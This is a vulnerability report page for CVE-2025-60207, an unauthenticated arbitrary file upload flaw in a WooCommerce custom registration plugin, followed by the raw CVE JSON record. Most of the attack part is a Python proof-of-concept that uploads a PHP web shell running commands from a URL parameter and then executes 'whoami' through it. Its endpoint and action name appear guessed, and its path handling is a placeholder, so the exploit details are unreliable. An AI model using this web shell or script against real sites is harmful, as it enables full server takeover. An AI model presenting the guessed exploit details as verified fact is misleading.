Security Vulnerability Report
中文
CVE-2025-60207 CVSS 10.0 CRITICAL

CVE-2025-60207

Published: 2025-11-06 16:16:06
Last Modified: 2026-04-15 00:35:42

Description

Unrestricted Upload of File with Dangerous Type vulnerability in Addify Custom User Registration Fields for WooCommerce user-registration-plugin-for-woocommerce allows Upload a Web Shell to a Web Server.This issue affects Custom User Registration Fields for WooCommerce: from n/a through <= 2.1.2.

CVSS Details

CVSS Score
10.0
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Custom User Registration Fields for WooCommerce <= 2.1.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-60207 PoC - Custom User Registration Fields for WooCommerce File Upload #!/usr/bin/env python3 import requests import sys target_url = sys.argv[1] if len(sys.argv) > 1 else "http://target-site.com" # Malicious PHP file content (Web Shell) webshell_content = '''<?php if(isset($_GET['cmd'])) { echo "<pre>"; $cmd = $_GET['cmd']; system($cmd); echo "</pre>"; } ?>''' # Step 1: Identify the vulnerable upload endpoint # The plugin registers custom user registration fields # Upload endpoint is typically in wp-admin/admin-ajax.php or custom endpoint upload_url = f"{target_url}/wp-admin/admin-ajax.php" # Step 2: Prepare the malicious file upload request files = { 'file': ('shell.php', webshell_content, 'application/x-php') } data = { 'action': 'addify_custom_registration_upload', 'field_id': 'custom_field_1', 'user_id': '0' # No authentication required } # Step 3: Send the upload request print("[*] Attempting to upload Web Shell...") response = requests.post(upload_url, files=files, data=data) # Step 4: Parse response to get uploaded file path # The response should contain the file path or upload status if response.status_code == 200: print("[*] Upload request sent successfully") # Extract uploaded file path from response uploaded_path = response.text # Parse actual path from response # Step 5: Access the uploaded Web Shell shell_url = f"{uploaded_path}" print(f"[*] Web Shell uploaded to: {shell_url}") # Step 6: Execute commands via Web Shell cmd = "whoami" exploit_url = f"{shell_url}?cmd={cmd}" rce_response = requests.get(exploit_url) print(f"[*] RCE Test Result: {rce_response.text}") else: print("[-] Upload failed or target not vulnerable") print("\n[!] Note: This PoC is for educational and authorized testing purposes only.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60207", "sourceIdentifier": "[email protected]", "published": "2025-11-06T16:16:06.153", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Unrestricted Upload of File with Dangerous Type vulnerability in Addify Custom User Registration Fields for WooCommerce user-registration-plugin-for-woocommerce allows Upload a Web Shell to a Web Server.This issue affects Custom User Registration Fields for WooCommerce: from n/a through <= 2.1.2."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/user-registration-plugin-for-woocommerce/vulnerability/wordpress-custom-user-registration-fields-for-woocommerce-plugin-2-1-2-arbitrary-file-upload-vulnerability?_s_id=cve", "source": "[email protected]"}]}}